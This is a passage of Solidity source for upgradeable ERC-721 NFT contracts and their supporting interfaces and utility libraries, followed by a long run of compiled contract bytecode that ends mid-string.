symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a22cb4651161007c578063a22cb4651461029d578063a6487c53146102b0578063b88d4fde146102c3578063c87b56dd146102d6578063e985e9c5146102e9578063f2fde38b146102fc5761014d565b806370a082311461024c578063715018a61461025f5780638da5cb5b14610267578063950757251461026f57806395d89b4114610282578063a0712d681461028a5761014d565b806323b872dd1161011557806323b872dd146101da578063276c6696146101ed5780632f745c591461020057806342842e0e146102135780634f6ccce7146102265780636352211e146102395761014d565b806301ffc9a71461015257806306fdde031461017b578063081812fc14610190578063095ea7b3146101b057806318160ddd146101c5575b600080fd5b6101656101603660046118bb565b61030f565b6040516101729190611a91565b60405180910390f35b61018361033c565b6040516101729190611a9c565b6101a361019e366004611977565b6103ce565b6040516101729190611a40565b6101c36101be366004611892565b61041a565b005b6101cd6104b2565b6040516101729190611fab565b6101c36101e83660046117a4565b6104b8565b6101c36101fb3660046119d4565b6104f0565b6101cd61020e366004611892565b610534565b6101c36102213660046117a4565b610586565b6101cd610234366004611977565b6105a1565b6101a3610247366004611977565b6105fc565b6101cd61025a366004611758565b610631565b6101c3610675565b6101a36106c0565b6101c361027d36600461198f565b6106cf565b61018361072d565b6101c3610298366004611977565b61073c565b6101c36102ab366004611858565b61076e565b6101c36102be3660046118f3565b61083c565b6101c36102d13660046117df565b6108e2565b6101836102e4366004611977565b61091b565b6101656102f7366004611772565b610a73565b6101c361030a366004611758565b610aa1565b60006001600160e01b0319821663780e9d6360e01b1480610334575061033482610b12565b90505b919050565b60606065805461034b90611fe3565b80601f016020809104026020016040519081016040528092919081815260200182805461037790611fe3565b80156103c45780601f10610399576101008083540402835291602001916103c4565b820191906000526020600020905b8154815290600101906020018083116103a757829003601f168201915b5050505050905090565b60006103d982610b52565b6103fe5760405162461bcd60e51b81526004016103f590611e03565b60405180910390fd5b506000908152606960205260409020546001600160a01b031690565b6000610425826105fc565b9050806001600160a01b0316836001600160a01b031614156104595760405162461bcd60e51b81526004016103f590611ecd565b806001600160a01b031661046b610b6f565b6001600160a01b031614806104875750610487816102f7610b6f565b6104a35760405162461bcd60e51b81526004016103f590611c90565b6104ad8383610b73565b505050565b60995490565b6104c96104c3610b6f565b82610be1565b6104e55760405162461bcd60e51b81526004016103f590611f0e565b6104ad838383610c66565b60005b828110156104ad5760006105056104b2565b90506105113382610d93565b600090815260fd602052604090208290558061052c8161201e565b9150506104f3565b600061053f83610631565b821061055d5760405162461bcd60e51b81526004016103f590611aaf565b506001600160a01b03919091166000908152609760209081526040808320938352929052205490565b6104ad838383604051806020016040528060008152506108e2565b60006105ab6104b2565b82106105c95760405162461bcd60e51b81526004016103f590611f5f565b609982815481106105ea57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6000818152606760205260408120546001600160a01b0316806103345760405162461bcd60e51b81526004016103f590611d37565b60006001600160a01b0382166106595760405162461bcd60e51b81526004016103f590611ced565b506001600160a01b031660009081526068602052604090205490565b61067d610b6f565b6001600160a01b031661068e6106c0565b6001600160a01b0316146106b45760405162461bcd60e51b81526004016103f590611e4f565b6106be6000610dad565b565b60c9546001600160a01b031690565b6106d7610b6f565b6001600160a01b03166106e86106c0565b6001600160a01b03161461070e5760405162461bcd60e51b81526004016103f590611e4f565b600082815260fc6020908152604090912082516104ad92840190611612565b60606066805461034b90611fe3565b60005b8181101561076a57610758336107536104b2565b610d93565b806107628161201e565b91505061073f565b5050565b610776610b6f565b6001600160a01b0316826001600160a01b031614156107a75760405162461bcd60e51b81526004016103f590611c0d565b80606a60006107b4610b6f565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556107f8610b6f565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516108309190611a91565b60405180910390a35050565b600054610100900460ff1680610855575060005460ff16155b6108715760405162461bcd60e51b81526004016103f590611d80565b600054610100900460ff1615801561089c576000805460ff1961ff0019909116610100171660011790555b6108a68484610dff565b6108ae610e8f565b6108b6610f1b565b81516108c99060fb906020850190611612565b5080156108dc576000805461ff00191690555b50505050565b6108f36108ed610b6f565b83610be1565b61090f5760405162461bcd60e51b81526004016103f590611f0e565b6108dc84848484610f8b565b600081815260fd602090815260408083205480845260fc90925282208054606093919061094790611fe3565b80601f016020809104026020016040519081016040528092919081815260200182805461097390611fe3565b80156109c05780601f10610995576101008083540402835291602001916109c0565b820191906000526020600020905b8154815290600101906020018083116109a357829003601f168201915b505050505090506000819050805160001415610a6b5760fb80546109e390611fe3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0f90611fe3565b8015610a5c5780601f10610a3157610100808354040283529160200191610a5c565b820191906000526020600020905b815481529060010190602001808311610a3f57829003601f168201915b50505050509350505050610337565b509392505050565b6001600160a01b039182166000908152606a6020908152604080832093909416825291909152205460ff1690565b610aa9610b6f565b6001600160a01b0316610aba6106c0565b6001600160a01b031614610ae05760405162461bcd60e51b81526004016103f590611e4f565b6001600160a01b038116610b065760405162461bcd60e51b81526004016103f590611b4c565b610b0f81610dad565b50565b60006001600160e01b031982166380ac58cd60e01b1480610b4357506001600160e01b03198216635b5e139f60e01b145b80610334575061033482610fbe565b6000908152606760205260409020546001600160a01b0316151590565b3390565b600081815260696020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610ba8826105fc565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610bec82610b52565b610c085760405162461bcd60e51b81526004016103f590611c44565b6000610c13836105fc565b9050806001600160a01b0316846001600160a01b03161480610c4e5750836001600160a01b0316610c43846103ce565b6001600160a01b0316145b80610c5e5750610c5e8185610a73565b949350505050565b826001600160a01b0316610c79826105fc565b6001600160a01b031614610c9f5760405162461bcd60e51b81526004016103f590611e84565b6001600160a01b038216610cc55760405162461bcd60e51b81526004016103f590611bc9565b610cd0838383610fd7565b610cdb600082610b73565b6001600160a01b0383166000908152606860205260408120805460019290610d04908490611fcc565b90915550506001600160a01b0382166000908152606860205260408120805460019290610d32908490611fb4565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61076a828260405180602001604052806000815250611060565b60c980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff1680610e18575060005460ff16155b610e345760405162461bcd60e51b81526004016103f590611d80565b600054610100900460ff16158015610e5f576000805460ff1961ff0019909116610100171660011790555b610e67611093565b610e6f611093565b610e798383611106565b80156104ad576000805461ff0019169055505050565b600054610100900460ff1680610ea8575060005460ff16155b610ec45760405162461bcd60e51b81526004016103f590611d80565b600054610100900460ff16158015610eef576000805460ff1961ff0019909116610100171660011790555b610ef7611093565b610eff611093565b610f07611093565b8015610b0f576000805461ff001916905550565b600054610100900460ff1680610f34575060005460ff16155b610f505760405162461bcd60e51b81526004016103f590611d80565b600054610100900460ff16158015610f7b576000805460ff1961ff0019909116610100171660011790555b610f83611093565b610f076111a4565b610f96848484610c66565b610fa284848484611214565b6108dc5760405162461bcd60e51b81526004016103f590611afa565b6001600160e01b031981166301ffc9a760e01b14919050565b610fe28383836104ad565b6001600160a01b038316610ffe57610ff98161132f565b611021565b816001600160a01b0316836001600160a01b031614611021576110218382611373565b6001600160a01b03821661103d5761103881611410565b6104ad565b826001600160a01b0316826001600160a01b0316146104ad576104ad82826114e9565b61106a838361152d565b6110776000848484611214565b6104ad5760405162461bcd60e51b81526004016103f590611afa565b600054610100900460ff16806110ac575060005460ff16155b6110c85760405162461bcd60e51b81526004016103f590611d80565b600054610100900460ff16158015610f07576000805460ff1961ff0019909116610100171660011790558015610b0f576000805461ff001916905550565b600054610100900460ff168061111f575060005460ff16155b61113b5760405162461bcd60e51b81526004016103f590611d80565b600054610100900460ff16158015611166576000805460ff1961ff0019909116610100171660011790555b8251611179906065906020860190611612565b50815161118d906066906020850190611612565b5080156104ad576000805461ff0019169055505050565b600054610100900460ff16806111bd575060005460ff16155b6111d95760405162461bcd60e51b81526004016103f590611d80565b600054610100900460ff16158015611204576000805460ff1961ff0019909116610100171660011790555b610f0761120f610b6f565b610dad565b6000611228846001600160a01b031661160c565b1561132457836001600160a01b031663150b7a02611244610b6f565b8786866040518563ffffffff1660e01b81526004016112669493929190611a54565b602060405180830381600087803b15801561128057600080fd5b505af19250505080156112b0575060408051601f3d908101601f191682019092526112ad918101906118d7565b60015b61130a573d8080156112de576040519150601f19603f3d011682016040523d82523d6000602084013e6112e3565b606091505b5080516113025760405162461bcd60e51b81526004016103f590611afa565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610c5e565b506001949350505050565b609980546000838152609a60205260408120829055600182018355919091527f72a152ddfb8e864297c917af52ea6c1c68aead0fee1a62673fcc7e0c94979d000155565b6000600161138084610631565b61138a9190611fcc565b6000838152609860205260409020549091508082146113dd576001600160a01b03841660009081526097602090815260408083208584528252808320548484528184208190558352609890915290208190555b5060009182526098602090815260408084208490556001600160a01b039094168352609781528383209183525290812055565b60995460009061142290600190611fcc565b6000838152609a60205260408120546099805493945090928490811061145857634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806099838154811061148757634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152609a909152604080822084905585825281205560998054806114cd57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006114f483610631565b6001600160a01b039093166000908152609760209081526040808320868452825280832085905593825260989052919091209190915550565b6001600160a01b0382166115535760405162461bcd60e51b81526004016103f590611dce565b61155c81610b52565b156115795760405162461bcd60e51b81526004016103f590611b92565b61158560008383610fd7565b6001600160a01b03821660009081526068602052604081208054600192906115ae908490611fb4565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b82805461161e90611fe3565b90600052602060002090601f0160209004810192826116405760008555611686565b82601f1061165957805160ff1916838001178555611686565b82800160010185558215611686579182015b82811115611686578251825591602001919060